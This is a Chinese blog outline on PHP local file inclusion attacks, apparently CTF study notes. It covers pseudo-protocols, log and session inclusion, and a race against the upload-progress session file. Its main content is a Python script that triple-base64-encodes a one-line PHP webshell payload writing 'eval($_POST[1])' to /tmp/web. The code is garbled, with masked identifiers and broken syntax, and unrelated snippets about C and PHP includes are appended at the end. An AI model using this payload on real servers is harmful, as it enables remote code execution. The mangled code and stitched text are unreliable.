3 檔案包含

2021-10-03 17:24:05 字數 1470 閱讀 1023

1.原理

2.相關函式

3.分類

本地檔案包含

4.不限制檔案

檔案可以為jpg、png、***x等

5.重點

找到可控檔案

6.偽協議

7.具體場景——日誌檔案

8.具體場景——session

base64 中的==,可有可沒有,在php中不重要,所以,可使用base64讓字元消失(單個字母解釋為空)

可以嘗試多次base64解碼(3次),消除字元

思路:因為上傳過程中會生成進度檔案,但是在上傳結束後會刪除進度檔案,所以在這個極小的時間內,控制這個進度檔案的內容(讓其生成一句話木馬),使用爆破模組一直上傳(增加時間),使用爆破模組通過檔案包含訪問這個進度檔案(知道檔案的位置),使其在極短時間內生成一句話。(控制進度檔案的方法,可以使用php://filter//這個偽協議,通過多次base64解碼,去掉不想要的內容)

#構造base64解密的密文,去掉不想要的內容

<?php

$perfix

='upload_progress_'

;$word

="abcdefghijklmnopqrstuvwxy zabcdefghijklmnopqrstuvwxyz0123456789+/"

;for($i

=0;$i

<64;

$i++)}

}}?>

#進度檔案的內容,使其不包含「=」等其他東西

import string

from random import sample, randint

from base64 import b64encode

payload =

"@<?php file_put_contents( '/tmp/web', '@<?php eval('$_post[1])?>');?>"

while1:

junk =

''.join(sample(string.ascii_letters,randint(8,

16)) x = b64encode( payload + junk)

xx = b64encode( b64encode( payload + junk)

) *** = b64encode ( b64encode ( b64encode(payload + junk)))

if'='

notin x and

'='not

in xx and

'='not

in ***:

print ***

brea k

9.具體場景——session

10.具體場景——遠古魔法

11.具體場景——phpinfo

12.具體環境——自包含導致爆棧

13.具體場景——php崩潰

5 1 檔案包含

1 源 預處理器 巨集替換後的源 這一部分是預處理器處理巨集,將所有巨集定義的變數替換為值。例如巨集定義 color red 為 ff0000,在這一步中相當於將 color red 替換為 ff0000。2 巨集替換後的源 編譯器 中間檔案,這一部分是將函式等模組進行編譯,但並沒有分配函式執行的實...

C語言 預處理指令3 檔案包含

本文目錄 說明 這個c語言專題,是學習ios開發的前奏。也為了讓有物件導向語言開發經驗的程式設計師,能夠快速上手c語言。如果你還沒有程式設計經驗,或者對c語言 ios開發不感興趣,請忽略 這講介紹最後乙個預處理指令 檔案包含 回到頂部 其實我們早就有接觸檔案包含這個指令了,就是 include,它可...

php學習 4檔案包含

檔案包含 include,include once,require,require once,將乙個檔案的內容包含進另外乙個檔案。include和require 使用一次包含一次檔案 include once和require once 不管在乙個指令碼中包含另外乙個指令碼多次,都只載入一次 包含檔案...